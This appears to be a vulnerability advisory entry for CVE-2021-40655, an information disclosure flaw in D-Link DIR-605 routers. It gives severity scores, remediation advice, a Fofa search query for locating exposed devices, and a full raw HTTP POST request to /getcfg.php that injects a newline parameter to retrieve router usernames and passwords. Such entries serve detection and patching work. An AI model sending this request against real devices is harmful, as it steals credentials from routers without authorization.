| Title | D-Link DIR-605 - Information Disclosure |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint. |
| Remediation | Apply firmware updates provided by D-Link or replace the device with a supported model. |
| CVSS Score | 7.5 |
| EPSS Score | 0.9287 |
| CVE ID | CVE-2021-40655 |
| CWE ID | CWE-863 |
| Fofa Query | body="l_tb>DIR-605" |
| Tags | cve cve2021 dlink kev dir-605 info-leak vkev vuln |
An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page
POST /getcfg.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Cookie:
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40655.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40655.pcap
N/AN/A